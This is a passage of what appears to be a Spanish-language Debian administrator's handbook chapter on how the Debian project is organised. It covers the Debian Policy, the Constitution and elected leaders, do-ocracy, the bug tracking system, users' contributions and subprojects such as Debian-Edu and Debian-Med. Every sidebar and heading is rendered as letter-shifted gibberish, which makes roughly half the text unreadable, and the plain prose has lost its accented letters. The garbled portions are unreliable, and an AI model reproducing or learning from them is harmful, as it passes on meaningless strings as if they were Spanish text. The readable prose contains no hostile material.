http://www.debian.org/intro/organization
http://wiki.debian.org/Teams

)&33".*&/5"
#BTF EF EBUPT EF
EFTBSSPMMBEPSFT

%FCJBO QPTFF VOB CBTF EF EBUPT RVF JODMVZF B UPEPT MPT EFTBSSPMMBEPSFT SFH
JTUSBEPT FO FM QSPZFDUP Z TV JOGPSNBDJO SFMFWBOUF EJSFDDJO ONFSP UFMF
GOJDP DPPSEFOBEBT HFPHSGJDBT DPNP MPOHJUVE Z MBUJUVE FUD
 1BSUF EF FTB
JOGPSNBDJO OPNCSF Z BQFMMJEP QBT OPNCSF EF VTVBSJP EFOUSP EFM QSPZFDUP
OPNCSF EF VTVBSJP *3$ MMBWF (OV1( FUD
FT QCMJDB Z BDDFTJCMF FO VO TJUJP
XFC
http://db.debian.org/

-BT DPPSEFOBEBT HFPHSGJDBT QFSNJUFO MB DSFBDJO EF VO NBQB VCJDBOEP B UP


EPT MPT EFTBSSPMMBEPSFT BMSFEFEPS EFM NVOEP %FCJBO FT SFBMNFOUF VO QSPZFDUP
JOUFSOBDJPOBM TF QVFEFO FODPOUSBS EFTBSSPMMBEPSFT FO UPEPT MPT DPOUJOFOUFT
BVORVF MB NBZPSB FTUO FO FM IFNJTGFSJP 0FTUF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

%JTUSJCVDJO NVOEJBM EF MPT EFTBSSPMMBEPSFT %FCJBO

La manutencin de paquetes es una actividad relativamente organizada, muy documentada o


inclusive reglamentada. Debe, de hecho, adherirse a todos los estndares establecidos por la Normativa Debian (Debian Policy). Afortunadamente, existen muchas herramientas que facilitan
el trabajo de los desarrolladores. Ellos pueden, entonces, concentrarse en las particularidades
de su paquete y en tareas ms complejas como la correccin de errores.
http://www.debian.org/doc/debian-policy/
70-7&3 " -04
$*.*&/504
.BOVUFODJO EF QBRVFUFT FM
USBCBKP EF VO EFTBSSPMMBEPS

-B NBOVUFODJO EF VO QBRVFUF JNQMJDB QSJNFSP kFNQBRVFUBS{ VO QSPHSBNB


&TQFDGJDBNFOUF TJHOJGJDB EFGJOJS MPT NFEJPT EF JOTUBMBDJO QBSB RVF VOB WF[
JOTUBMBEP FTUF QSPHSBNB PQFSF Z DVNQMB MBT SFHMBT RVF FM QSPZFDUP %FCJBO
EFGJOF QBSB T NJTNP &M SFTVMUBEP EF FTUB PQFSBDJO FT HVBSEBEP FO VO BSDIJWP
.deb -B JOTUBMBDJO FGFDUJWB EF FTUF QBRVFUF TMP OFDFTJUBS MB FYUSBDDJO EF
MPT DPOUFOJEPT EF FTUF BSDIJWP DPNQSJNJEP Z MB FKFDVDJO EF BMHVOPT TDSJQUT
EF QSFJOTUBMBDJO Z QPTUJOTUBMBDJO RVF DPOUJFOF
-VFHP EF FTUB GBTF JOJDJBM FM DJDMP EF NBOVUFODJO DPNJFO[B SFBMNFOUF MB
QSFQBSBDJO EF BDUVBMJ[BDJPOFT QBSB TFHVJS MB MUJNB WFSTJO EF MB /PSNBUJWB
%FCJBO DPSSFHJS FSSPSFT SFQPSUBEPT QPS VTVBSJPT F JODMVJS VOB OVFWB WFSTJO
EFM QSPHSBNB PSJHJOBM RVF OBUVSBMNFOUF DPOUJOB TV EFTBSSPMMP EF GPSNB TJ
NVMUOFB 1PS FKFNQMP BM NPNFOUP EFM FNQBRVFUBEP PSJHJOBM FM QSPHSBNB
FTUBCB FO TV WFSTJO  -VFHP EF BMHVOPT NFTFT EF EFTBSSPMMP MPT BVUPSFT
PSJHJOBMFT QVCMJDBO VOB OVFWB WFSTJO FTUBCMF OVNFSBEB  &O FTUF NPNFO
UP FM EFTBSSPMMBEPS %FCJBO EFCFSB BDUVBMJ[BS FM QBRVFUF QBSB RVF MPT VTVBSJPT
QVFEBO CFOFGJDJBSTF EF FTUB MUJNB WFSTJO FTUBCMF

La Normativa (Policy) es un elemento esencial del proyecto Debian, establece las normas que
garantizan tanto la calidad de los paquetes como tambin la interoperabilidad perfecta de la distribucin. Gracias a este documento, Debian se mantiene consistente a pesar de su gigantesco
tamao. La Normativa no est escrita en piedra si no que evoluciona continuamente gracias a

$BQUVMP  & M QSPZFDUP %FCJBO



propuestas formuladas en la lista de correo debian-policy@lists.debian.org. Las modificaciones


acordadas por todas las partes interesadas son aceptadas y aplicadas al texto por un grupo reducido de desarrolladores que no tienen responsabilidad editorial (slo incluyen las modificaciones aceptadas por los desarrolladores Debian que son miembros de la lista antes mencionada). Puede leer las correcciones propuestas siendo discutidas en el sistema de seguimiento de
errores:
http://bugs.debian.org/debian-policy
$0.6/*%"%
1SPDFTP FEJUPSJBM EF MB
OPSNBUJWB

$VBMRVJFSB QVFEF QSPQPOFS VOB DPSSFDDJO B MB /PSNBUJWB %FCJBO TJNQMF


NFOUF FOWJBOEP VO SFQPSUF EF FSSPS DPO HSBWFEBE kXJTIMJTU{ VO EFTFP
TPCSF
FM QBRVFUF EFCJBOQPMJDZ &M QSPDFTP RVF DPNJFO[B FO FTF NPNFOUP FTU EPD
VNFOUBEP FO /usr/share/doc/debian-policy/Process.html TJ FT BDFQUBEP
RVF FM QSPCMFNB SFWFMBEP UJFOF RVF TFS SFTVFMUP DSFBOEP VOB OVFWB SFHMB FO
MB /PSNBUJWB %FCJBO DPNJFO[B VOB EJTDVTJO TPCSF MB NJTNB FO MB MJTUB EF
DPSSFP EFCJBOQPMJDZ!MJTUTEFCJBOPSH IBTUB MMFHBS B VO DPOTFOTP Z TF MMFHB
B VOB QSPQVFTUB "MHVJFO DSFBS VOB WFSTJO QSFMJNJOBS EF MBT NPEJGJDBDJPOFT
EFTFBEBT Z MBT FOWB QBSB TFS BQSPCBEBT FO GPSNB EF VO QBSDIF QBSB SFWJTJO

5BO QSPOUP DPNP PUSPT EPT EFTBSSPMMBEPSFT DPOGJSNFO kTFDVOEBO{ MB QSPQ
VFTUB
RVF MPT DBNCJPT QSPQVFTUPT SFGMFKBO FM DPOTFOTP BM RVF TF MMFH FO MB
EJTDVTJO QSFWJB MB QSPQVFTUB QVFEF TFS JODMVJEB FO FM EPDVNFOUP PGJDJBM QPS
VOP EF MPT FODBSHBEPT EFM QBRVFUF EFCJBOQPMJDZ 4J FM QSPDFTP GBMMB FO BMHVOP
EF TVT QBTPT MPT EFTBSSPMMBEPSFT DFSSBSO FM SFQPSUF EF FSSPS DMBTJGJDBOEP MB
QSPQVFTUB DPNP SFDIB[BEB

/03." %&#*"/
-B EPDVNFOUBDJO

-B EPDVNFOUBDJO EF DBEB QBRVFUF FT BMNBDFOBEB FO /usr/share/


doc/paquete/ &TUF EJSFDUPSJP HFOFSBMNFOUF DPOUJFOF VO BSDIJWP README.
Debian RVF EFTDSJCF MBT NPEJGJDBDJPOFT FTQFDGJDBT B %FCJBO RVF IJ[P FM FO
DBSHBEP EFM QBRVFUF &T QPS MP UBOUP BDPOTFKBCMF MFFS FTUF BSDIJWP BOUFT EF
SFBMJ[BS DVBMRVJFS DPOGJHVSBDJO QBSB QPEFS BQSPWFDIBS TV FYQFSJFODJB 5BN
CJO FODPOUSBS VO BSDIJWP changelog.Debian.gz RVF EFTDSJCF MPT DBNCJPT
EF VOB WFSTJO B PUSB SFBMJ[BEPT QPS FM SFTQPOTBCMF EFM QBRVFUF &TUF OP UJFOF
RVF DPOGVOEJSTF DPO FM BSDIJWP changelog.gz P FRVJWBMFOUF
RVF EFTDSJCF MPT
DBNCJPT SFBMJ[BEPT QPS MPT EFTBSSPMMBEPSFT PSJHJOBMFT &M BSDIJWP copyright JO
DMVZF JOGPSNBDJO TPCSF MPT BVUPSFT Z MB MJDFODJB RVF BCBSDB BM TPXBSF 'JOBM
NFOUF UBNCJO QPESB FODPOUSBS VO BSDIJWP EF OPNCSF NEWS.Debian.gz RVF
QFSNJUF BM EFTBSSPMMBEPS %FCJBO DPNVOJDBS JOGPSNBDJO JNQPSUBOUF TPCSF BD
UVBMJ[BDJPOFT TJ JOTUBMB BQUMJTUDIBOHFT TF NPTUSBSO FTUPT NFOTBKFT BVUPNUJ
DBNFOUF 5PEPT MPT PUSPT BSDIJWPT TPO FTQFDGJDPT EFM TPXBSF FO DVFTUJO
FSFNPT NFODJPOBS FTQFDJBMNFOUF FM EJSFDUPSJP examples RVF HFOFSBMNFOUF
DPOUJFOF FKFNQMPT EF BSDIJWPT EF DPOGJHVSBDJO

La Normativa cubre en detalle los aspectos tcnicos de la creacin de paquetes. El tamao del
proyecto tambin genera problemas de organizacin; estos son tratados por la Constitucin Debian (Debian Constitution) que establece una estructura y los medios para tomar decisiones.
En otras palabras: un sistema formal de gobierno.
Esta constitucin define cierta cantidad de roles y posiciones adems de las responsabilidades y
atribuciones de cada uno. Es particularmente importante notar que los desarrolladores Debien



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

siempre tienen la autoridad mxima en cuanto a decisiones mediante sus votos a resoluciones
generales, en ellas se necesita una mayora calificada de tres cuartos (75 %) de los votos para
realizar modificaciones significativas (como aquellas que tendrn impacto en los documentos
fundacionales). Sin embargo, los desarrolladores eligen un lder cada ao para representarlos
en reuniones y asegurar la coordinacin interna entre varios equipos. Esta eleccin es siempre
un perodo de discusiones intensas. El rol del lder no est formalmente definido en ningn
documento: los candidatos al puesto generalmente ofrecen su propia definicin para el mismo.
En la prctica, el rol de lder incluye ser representante frente a los medios, coordinar equipos
internos y dar una gua general al proyecto con la que los desarrolladores empaticen: la visin
del lder (DPL por sus siglas en ingls) son aprobadas implcitamente por la mayora de los
miembros del proyecto.
Especficamente, el lder realmente tiene autoridad: su voto decide votaciones empatadas, puede
tomar decisiones sobre aquello que no est a cargo de alguien ms y puede delegar parte de sus
responsabilidades.
Desde su creacin, el proyecto fue liderado sucesivamente por Ian Murdock, Bruce Perens, Ian
Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson,
Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli y Lucas Nussbaum.
La constitucin tambin define un comit tcnico. El rol esencial de este comit es tomar decisiones en asuntos tcnicos cuando los desarrolladores involucrados no llegaron a un acuerdo
entre ellos. De lo contrario, el comit tiene un rol de consejero para cualquier desarrollador que
no tome una decisin en una cuestin de la que son responsables. Es importante notar que el
comit slo se involucra cuando alguna de las partes as lo solicita.
Por ltimo, la constitucin define la posicin de secretario del proyecto quien est a cargo de
organizar las votaciones relacionadas a las varias elecciones y resoluciones generales.
El proceso de una resolucin general est completamente detallado en la constitucin, desde
el perodo inicial de discusin hasta el recuento final de votos. Para ms detalles revise:
http://www.debian.org/devel/constitution.en.html
$6-563"
-B EJTDVTJO FO MMBNBT
kGMBNFXBS{

6O kGMBNFXBS{ FT VOB EJTDVTJO EFNBTJBEP BQBTJPOBEB RVF GSFDVFOUFNFOUF


DPODMVZF DPO MPT JOWPMVDSBEPT BUBDOEPTF FOUSF FMMPT VOB WF[ RVF TF BHP
UBSPO UPEPT MPT BSHVNFOUPT SB[POBCMFT FO BNCPT MBEPT (FOFSBMNFOUF BMHVOPT
UFNBT TPO NT QSPQFOTPT B HFOFSBS QPMNJDBT RVF PUSPT MB FMFDDJO EFM FE
JUPS EF UFYUP kQSFGJFSF vi P emacs { FT VO GBWPSJUP
 TUPT GSFDVFOUFNFOUF
QSPWPDBO VO JOUFSDBNCJP NVZ SQJEP EF DPSSFPT EFCJEP BM HSBO ONFSP EF
QFSTPOBT DPO VOB PQJOJO FO FM BTVOUP UPEPT
Z MB OBUVSBMF[B TVCKFUJWB EF
FTUBT QSFHVOUBT
(FOFSBMNFOUF OBEB QBSUJDVMBSNFOUF UJM TBMF EF FTBT EJTDVTJPOFT MB SFDPNFO
EBDJO HFOFSBM FT NBOUFOFSTF BMFKBEP EF FTUPT EFCBUFT Z UBM WF[ MFFS SQJEB
NFOUF FOUSF MOFBT FM DPOUFOJEP ZB RVF MFFSMP UPEP UPNBSB EFNBTJBEP UJFNQP

An cuando la constitucin establece una democracia aparente, la realidad diaria es muy diferente: Debian sigue naturalmente las reglas de una do-ocracia (el gobierno de los que hacen) en
el software libre: es aqul que hace las cosas el que decide cmo hacerlas. Se puede desperdiciar

$BQUVMP  & M QSPZFDUP %FCJBO



mucho tiempo discutiendo los mritos respectivos de varias formas de abordar un problema;
la solucin elegida ser la primera que sea tanto funcional como satisfactoria... que saldr del
tiempo que una persona competente invirti en ella.
Esta es la nica forma en que ganar sus insignias: haga algo til y muestre que ha trabajado bien. Muchos equipos administrativos en Debian funcionan por designacin, prefiriendo
voluntarios que ya han realizado contribuciones palpables y demostrado ser competentes. Este
mtodo es prctico porque la mayora del trabajo realizado por estos grupos es pblicos y, por
lo tanto, accesible por cualquier desarrollador interesado. Esta es la razn por la que Debian es
normalmente descripto como una meritocracia.
$6-563"
.FSJUPDSBDJB FM USJVOGP EFM
DPOPDJNJFOUP

.FSJUPDSBDJB FT VOB GPSNB EF HPCJFSOP FO FM RVF MB BVUPSJEBE FT FKFSDJEB QPS


BRVFMMPT DPO NBZPS NSJUP 1BSB %FCJBO FM NSJUP FT VOB NFEJEB EF DPN
QFUFODJB RVF FT B TV WF[ FWBMVBEB QPS VOP P NT PUSPT EFOUSP EFM QSPZFDUP
PCTFSWBOEP BDDJPOFT QBTBEBT 4UFGBOP ;BDDIJSPMJ FM MEFS BOUFSJPS EFM QSPZFD
UP IBCMB EF VOB kEPPDSBDZ{ FM QPEFS EF BRVFMMPT RVF IBDFO MBT DPTBT
 -B
TJNQMF FYJTUFODJB EF EJDIBT BDDJPOFT EFNVFTUSB DJFSUP OJWFM EF DPNQFUFODJB
TVT MPHSPT HFOFSBMNFOUF TJFOEP TPXBSF MJCSF DPO FM DEJHP GVFOUF EJTQPOJCMF
RVF QVFEF TFS GDJMNFOUF SFWJTBEP QPS QBSFT QBSB FWBMVBS TV DBMJEBE

Este mtodo de operaciones es efectivo y garantiza la calidad de los contribuyentes en los


equipos clave de Debian. Este mtodo dista de ser perfecto y ocasionalmente algunos no lo
aceptan. La seleccin de desarrolladores aceptados en los grupos puede parecer arbitraria o incluso injusta. Lo que es ms, no todos tienen la misma definicin de los servicios esperados de
estos equipos. Para algunos es inaceptable tener que esperar ocho das para la inclusin de un
nuevo paquete en Debian, mientras que otros esperarn pacientemente por tres semanas sin
problemas. Por ello, regularmente hay quejas sobre la calidad de servicio de algunos equipos
por aquellos que estn descontentos.
$0.6/*%"%
*OUFHSBDJO EF OVFWPT
EFTBSSPMMBEPSFT

&M FRVJQP B DBSHP EF BDFQUBS OVFWPT EFTBSSPMMBEPSFT FT FM DSJUJDBEP DPO NT


GSFDVFODJB 6OP EFCF SFDPOPDFS RVF B MP MBSHP EF MPT BPT FM QSPZFDUP %FCJFO
TF IB WVFMUP NT Z NT FYJHFOUF DPO MPT EFTBSSPMMBEPSFT RVF BDFQUBS "MHVOPT
WFO FTUP DPNP VOB JOKVTUJDJB Z EFCFNPT DPOGFTBS RVF MP RVF FSBO QFRVFPT
SFUPT BM QSJODJQJP IBO DSFDJEP FO HSBO NFEJEB FO VOB DPNVOJEBE EF NT EF
 QFSTPOBT DVBOEP TF USBUB EF BTFHVSBS MB DBMJEBE F JOUFHSJEBE EF UPEP MP
RVF %FCJBO QSPEVDF QBSB TVT VTVBSJPT
1PS PUSB QBSUF FM QSPDFEJNJFOUP EF BDFQUBDJO DPODMVZF DPO MB SFWJTJO EF
MB DBOEJEBUVSB QPS QBSUF EF VO QFRVFP FRVJQP MPT kBENJOJTUSBEPSFT EF MBT
DVFOUBT EF %FCJBO{ k%".{ QPS TVT TJHMBT FO JOHMT
 1PS MP UBOUP FTUPT BE
NJOJTUSBEPSFT TF FODVFOUSBO NVZ FYQVFTUPT B DSUJDBT ZB RVF UJFOFO MB MUJNB
QBMBCSB FO DVBOUP B MB BDFQUBDJO P SFDIB[P EFM JOHSFTP EF VO WPMVOUBSJP B MB
DPNVOJEBE EF EFTBSSPMMBEPSFT EF %FCJBO &O MB QSDUJDB B WFDFT EFCFO SFUSBTBS
MB BDFQUBDJO EF VOB QFSTPOB IBTUB RVF DPOPDFO NT BDFSDB EFM GVODJPOBNJFO
UP EFM QSPZFDUP 1PS TVQVFTUP RVF DVBMRVJFSB QVFEF DPOUSJCVJS B %FCJBO BOUFT
EF TFS BDFQUBEP DPNP EFTBSSPMMBEPS PGJDJBM BM TFS SFTQBMEBEP QPS MPT EFTBSSP
MBEPSFT BDUVBMFT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 &M QBQFM BDUJWP EF MPT VTVBSJPT


Uno se podra preguntar si es relevante mencionar a los usuarios entre aquellos que trabajan
dentro del proyecto Debian, pero la respuesta es un s definitivo: tienen un papel crtico en el
proyecto. Lejos de ser pasivos, algunos usuarios utilizan versiones de desarrollo de Debian y
reportan fallos regularmente para indicar problemas. Otros van ms all an y envan ideas para
mejoras reportando errores con gravedad wishlist o inclusive envan correcciones al cdigo
fuente, llamados parches (revise el recuadro Parches, la forma de mandar una correccin
pgina 16).
)&33".*&/5"
4JTUFNB EF TFHVJNJFOUP EF
FSSPSFT

(SBOEFT QPSDJPOFT EFM QSPZFDUP VUJMJ[BO FM TJTUFNB EF TFHVJNJFOUP EF FS


SPSFT EF %FCJBO k#54{ QPS TVT TJHMBT FO JOHMT
 -B QBSUF QCMJDB MB JOUFSGB[
XFC
QFSNJUF B MPT VTVBSJPT WFS UPEPT MPT FSSPSFT SFQPSUBEPT DPO MB PQDJO EF
NPTUSBS VOB MJTUB PSEFOBEB EF MPT FSSPSFT EF BDVFSEP B EJWFSTPT DSJUFSJPT EF
TFMFDDJO UBMFT DPNP QBRVFUF BGFDUBEP HSBWFEBE FTUBEP EJSFDDJO EFM RVF MP
IB SFQPSUBEP EJSFDDJO EFM EFTBSSPMMBEPS B DBSHP EFM FSSPS FUJRVFUBT FUD 5BN
CJO FT QPTJCMF OBWFHBS QPS FM MJTUBEP IJTUSJDP DPNQMFUP EF UPEPT MPT EFCBUFT
TPCSF DBEB VOP EF MPT FSSPSFT
#BKP MB TVQFSGJDJF FM #54 EF %FCJBO TF DPNVOJDB QPS FNBJM UPEB MB JOGPSNBDJO
RVF BMNBDFOB QSPWJFOF EF NFOTBKFT FOWJBEPT QPS MBT QFSTPOBT JOWPMVDSBEBT
$VBMRVJFS DPSSFP FOWJBEP B !CVHTEFCJBOPSH TFS BTJHOBEP B MB IJTUP
SJB EFM FSSPS ONFSP  1FSTPOBT BVUPSJ[BEBT QVFEFO kDFSSBS{ VO FSSPS
FTDSJCJFOEP VO NFOTBKF RVF EFTDSJCB MBT SB[POFT EF MB EFDJTJO QBSB DFSSBS
MP B EPOF!CVHTEFCJBOPSH VO SFQPSUF FT DFSSBEP DVBOEP FM QSPCMFNB
JOEJDBEP FT SFTVFMUP P ZB OP FT SFMFWBOUF
 6O OVFWP FSSPS TF QVFEF SFQPSUBS
FOWJBOEP VO DPSSFP B TVCNJU!CVHTEFCJBOPSH TJHVJFOEP VO GPSNBUP FTQFD
GJDP RVF JEFOUJGJDB FM QBRVFUF FO DVFTUJO -B EJSFDDJO DPOUSPM!CVHTEFCJBO
PSH QFSNJUF FEJUBS UPEB MB kNFUBJOGPSNBDJO{ SFMBDJPOBEB BM SFQPSUF
&M #54 EF %FCJBO UJFOF PUSBT DBSBDUFSTUJDBT Z GVODJPOFT DPNP FM VTP EF FUJ
RVFUBT QBSB DMBTJGJDBS FSSPSFT 1BSB NT JOGPSNBDJO SFWJTF
http://www.debian.org/Bugs/

70$"#6-"3*0
(SBWFEBE EF VO FSSPS

-B HSBWFEBE EF VO FSSPS BTJHOB GPSNBMNFOUF VO HSBEP EF JNQPSUBODJB BM QSPC


MFNB SFQPSUBEP &O FGFDUP OP UPEPT MPT FSSPSFT TPO JHVBMFT QPS FKFNQMP VO
FSSPS EF UJQFP FO VOB QHJOB EF NBOVBM OP FT DPNQBSBCMF DPO VOB WVMOFSBCJM
JEBE EF TFHVSJEBE FO VO TPXBSF EF TFSWJEPS
%FCJBO VUJMJ[B VOB FTDBMB FYUFOEJEB QBSB JOEJDBS DPO QSFDJTJO MB HSBWFEBE
EF VO FSSPS $BEB OJWFM TF EFGJOF DPO QSFDJTJO DPO FM PCKFUJWP EF GBDJMJUBS MB
TFMFDDJO EF MPT NJTNPT
http://www.debian.org/Bugs/Developer#severities

Adems, a muchos usuarios satisfechos con el servicio ofrecido por Debian les gustara hacer
su propia contribucin al proyecto. Como no todos tienen la experiencia necesaria en programacin pueden elegir ayudar con la traduccin y revisin de la documentacin. Existen listas
de correo especficas a cada idioma para coordinar este trabajo.
https://lists.debian.org/i18n.html

$BQUVMP  & M QSPZFDUP %FCJBO



http://www.debian.org/international/
70-7&3 " -04
$*.*&/504
 TPO kJO{ Z kMO{

kJO{ Z kMO{ TPO BCSFWJBDJPOFT EF MBT QBMBCSBT kJOUFSOBDJPOBMJ[BDJO{ Z


kMPDBMJ[BDJO{ SFTQFDUJWBNFOUF QSFTFSWBOEP MB MFUSB JOJDJBM Z GJOBM EF DBEB
QBMBCSB Z MB DBOUJEBE EF MFUSBT FOUSF FMMBT
k*OUFSOBDJPOBMJ[BS{ VO QSPHSBNB DPOTJTUF FO NPEJGJDBSMP QBSB RVF QVFEB TFS
USBEVDJEP kMPDBMJ[BEP{
 &TUP JOWPMVDSB QBSDJBMNFOUF SFFTDSJCJS FM QSPHSBNB
JOJDJBMNFOUF FTDSJUP QBSB USBCBKBS TMP FO VO JEJPNB DPO FM PCKFUJWP RVF QVFEB
IBDFSMP FO UPEPT MPT JEJPNBT
k-PDBMJ[BS{ VO QSPHSBNB DPOTJTUF FO USBEVDJS MPT NFOTBKFT PSJHJOBMFT GSF
DVFOUFNFOUF FO JOHMT
B PUSP JEJPNB 1BSB FMMP ZB UJFOF RVF IBCFS TJEP JOUFS
OBDJPOBMJ[BEP
&O SFTVNFO MB JOUFSOBDJPOBMJ[BDJO QSFQBSB FM TPXBSF QBSB MB USBEVDDJO RVF
MVFHP FT SFBMJ[BEB QPS MB MPDBMJ[BDJO

70-7&3 " -04


$*.*&/504
1BSDIFT MB GPSNB EF NBOEBS
VOB DPSSFDDJO

6O QBSDIF FT VO BSDIJWP RVF EFTDSJCF MPT DBNCJPT SFBMJ[BEPT B VOP P NT


BSDIJWPT EF SFGFSFODJB &O QBSUJDVMBS DPOUFOES VOB MJTUB EF MBT MOFBT FMJNJ
OBEBT P BHSFHBEBT BM DEJHP BT DPNP UBNCJO BEFNT
MOFBT UPNBEBT EFM
UFYUP EF SFGFSFODJB RVF QPOFO FO DPOUFYUP MBT NPEJGJDBDJPOFT QFSNJUFO JEFO
UJGJDBS MB VCJDBDJO EF MPT DBNCJPT FO DBTP RVF MPT ONFSPT EF MOFB IBZBO
DBNCJBEP

-B IFSSBNJFOUB VUJMJ[BEB QBSB BQMJDBS MBT NPEJGJDBDJPOFT FO VOP EF FTUPT
BSDIJWPT FT patch -B IFSSBNJFOUB RVF MPT DSFB FT diff Z TF VUJMJ[B EF MB TJHV
JFOUF GPSNB
$ diff -u archivo.antiguo archivo.nuevo >archivo.patch

&M BSDIJWP archivo.patch DPOUJFOF MBT JOTUSVDDJPOFT QBSB DBNCJBS FM DPOUFOEP


EF archivo.antiguo BM DPOUFOJEP EF archivo.nuevo 1PEFNPT FOWJBSMP B BM
HVJFO RVF MVFHP QVFEF VUJMJ[BSMP QBSB DSFBS archivo.nuevo EF MPT PUSPT EPT EF
MB TJHVJFOUF GPSNB
$ patch -p0 archivo.viejo <archivo.patch

&M BSDIJWP archivo.viejo FT BIPSB JEOUJDP B archivo.nuevo

)&33".*&/5"
3FQPSUBOEP VO FSSPS DPO
reportbug

-B IFSSBNJFOUB reportbug GBDJMJUB FM FOWP EF SFQPSUFT EF FSSPS FO VO QBRVFUF


EF %FCJBO "ZVEB B BTFHVSBSTF RVF FM FSSPS FO DVFTUJO OP IBZB TJEP SFQPSUB
EP QSFWJBNFOUF FWJUBOEP BT EVQMJDBEPT FO FM TJTUFNB -F SFDVFSEB BM VTVBSJP
MBT EFGJOJDJPOFT EF MPT OJWFMFT EF HSBWFEBE QBSB RVF FM SFQPSUF TFB MP NT QSF
DJTP QPTJCMF FM EFTBSSPMMBEPS TJFNQSF QVFEF BKVTUBS FTUPT QBSNFUSPT MVFHP
TJ IJDJFSB GBMUB
 "ZVEB B FTDSJCJS VO SFQPSUF EF FSSPS DPNQMFUP TJO OFDFTJEBE
EF RVF FM VTVBSJP DPOP[DB MB TJOUBYJT DPSSFDUB FTDSJCJOEPMB QSJNFSP Z MVFHP
EFKBOEP RVF FM VTVBSJP MB FEJUF &TUF SFQPSUF FT MVFHP FOWJBEP NFEJBOUF VO
TFSWJEPS EF DPSSFP MPDBM EF GPSNB QSFEFUFSNJOBEB QFSP reportbug UBNCJO
QVFEF VUJMJ[BS VO TFSWJEPS SFNPUP

&TUB IFSSBNJFOUB TJFNQSF BQVOUB QSJNFSP B MBT WFSTJPOFT EF EFTBSSPMMP EPOEF
TF TPMVDJPOBSO MPT FSSPSFT &O FGFDUP OP TF JOUSPEVDFO DBNCJPT FO VOB WFSTJO



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

FTUBCMF EF %FCJBO TBMWP QPS VOBT QPDBT FYDFQDJPOFT DPNP BDUVBMJ[BDJPOFT EF


TFHVSJEBE V PUSBT BDUVBMJ[BDJPOFT JNQPSUBOUFT TJ QPS FKFNQMP VO QBRVFUF
OP GVODJPOB FO BCTPMVUP
 -B DPSSFDDJO EF VO FSSPS NFOPS FO VO QBRVFUF EF
%FCJBO EFCFS FOUPODFT FTQFSBS B MB QSYJNB WFSTJO FTUBCMF

Todos estos mecanismos de conlaboracin son ms eficientes con el comportamiento de los


usuarios. Lejos de ser una coleccin de personas aisladas, los usuarios son una verdadera comunidad en la que ocurren numerosos intercambios. Notamos especialmente la impresionante
actividad en la lista de correo para discusin de usuarios debian-user@lists.debian.org (el Captulo 7: Resolucin de problemas y bsqueda de informacin relevante pgina 140 discute esto
en ms detalle).
No slo los usuarios se ayudan entre ellos (y a otros) con problemas tcnicos que los afectan
directamente sino que tambin discuten las mejores formas para contribuir con el proyecto
Debian y ayudar moverlo adelante discusiones que frecuentemente resultan en sugerencias
para mejoras.
Como Debian no gasta fondos en capaas de promocin sus usuarios cumplen un papel esencial
en su difusin, asegurando su notoriedad con el boca a boca.
Este mtodo funciona bastante bien ya que se encuentran fanticos de Debian en todos los niveles de la comunidad de software libre: desde festivales de instalacin (talleres en los que usuarios experimentados ayudan a novatos a instalar el sistema) organizado por groupos de usuarios
Linux (LUG por sus siglas en ingls), hasta puestos de la asociacin en grandes convenciones
tcnicas que tienen que ver con Linux, etc.
Los voluntarios elaboran carteles, folletos, pegatinas y otros materiales promocionales tiles
para el proyecto que ponen a disposicin de todo el mundo, y que Debian ofrece libremente en
su sitio web:
http://www.debian.org/events/material

 &RVJQPT Z TVCQSPZFDUPT


Debian ha estado organizado, desde sus comienzos, alrededor del concepto de paquetes fuente,
cada uno con su encargado o grupo de responsables. Con el tiempo, han aparecido numerosos
equipos de trabajo asegurando la administracin de la infraestructura, la organizacin de tareas
que no son especficas a un paquete en particular (control de calidad, normativa de Debian,
instalador, etc.), con los ltimos equipos creciendo alrededor de subproyectos.

4VCQSPZFDUPT %FCJBO FYJTUFOUFT


Para cada uno, su Debian! Un subproyecto es un grupo de voluntarios interesados en adaptar
Debian a una necesidad especfica. Adems de seleccionar un subgrupo de programas destinados
a un dominio particular (educacin, medicina, creacin multimedia, etc.) los subproyectos estn

$BQUVMP  & M QSPZFDUP %FCJBO



involucrados en mejorar paquetes existentes, crear nuevos paquetes de software, adaptar el


instalador, crear documentacin especfica y ms.
70$"#6-"3*0
4VCQSPZFDUP Z EJTUSJCVDJO
EFSJWBEB

&M QSPDFTP EF EFTBSSPMMP EF VOB EJTUSJCVDJO EFSJWBEB DPOTJTUF FO DPNFO[BS


DPO VOB WFSTJO QBSUJDVMBS EF %FCJBO Z IBDFS VOB TFSJF EF NPEJGJDBDJPOFT B
MB NJTNB -B JOGSBFTUSVDUVSB VUJMJ[BEB QBSB FTUF USBCBKP FT DPNQMFUBNFOUF FY
UFSOB BM QSPZFDUP %FCJBO /P FYJTUF OFDFTBSJBNFOUF VOB QPMUJDB QBSB BQPSUBS
NFKPSBT &TUB EJGFSFODJB FYQMJDB MB GPSNB FO MB RVF VOB EJTUSJCVDJO EFSJWBEB
kEJWFSHF{ EF TVT PSHFOFT Z QPSRV EFCFO SFTJODSPOJ[BSTF SFHVMBSNFOUF DPO
TV GVFOUF QBSB CFOFGJDJBSTF EF MBT NFKPSBT SFBMJ[BEBT FO PSJHFO
1PS FM PUSP MBEP VO TVCQSPZFDUP OP QVFEF EJWFSHFS ZB RVF UPEP FM USBCBKP
DPOTJTUF FO NFKPSBS %FCJBO EJSFDUBNFOUF QBSB QPEFS BEBQUBSMP B VO PCKFUJWP
FTQFDGJDP
-B EJTUSJCVDJO EFSJWBEB EF %FCJBO NT DPOPDJEB FT TJO EVEB 6CVOUV QFSP
FYJTUFO NVDIBT 3FWJTF FM "QOEJDF`" %JTUSJCVDJPOFT EFSJWBEBT QHJOB 
QBSB DPOPDFS TPCSF TVT QBSUJDVMBSJEBEFT Z TVT QPTJDJPOFT FO SFMBDJO DPO %F
CJBO

A continuacin se muestra una pequea seleccin de los subproyectos actuales:


Debian-Junior, por Ben Armstrong, ofrece un sistema Debian atractivo y fcil de usar para
los nios;
Debian-Edu, por Petter Reinholdtsen, centrado en la creacin de una distribucin especializada para el mundo acadmico;
Debian-Med, por Andreas Tille, dedicada a la campo de la medicina;
Debian-Multimedia, de los creadores de Agnula, que se ocupa de la creacin multimedia;
Debian-Desktop, por Colin Walters, se centra en el entorno de escritorio;
Debian-Ham, creado por Bruce Perens, dirigido a los radioaficionados entusiastas;
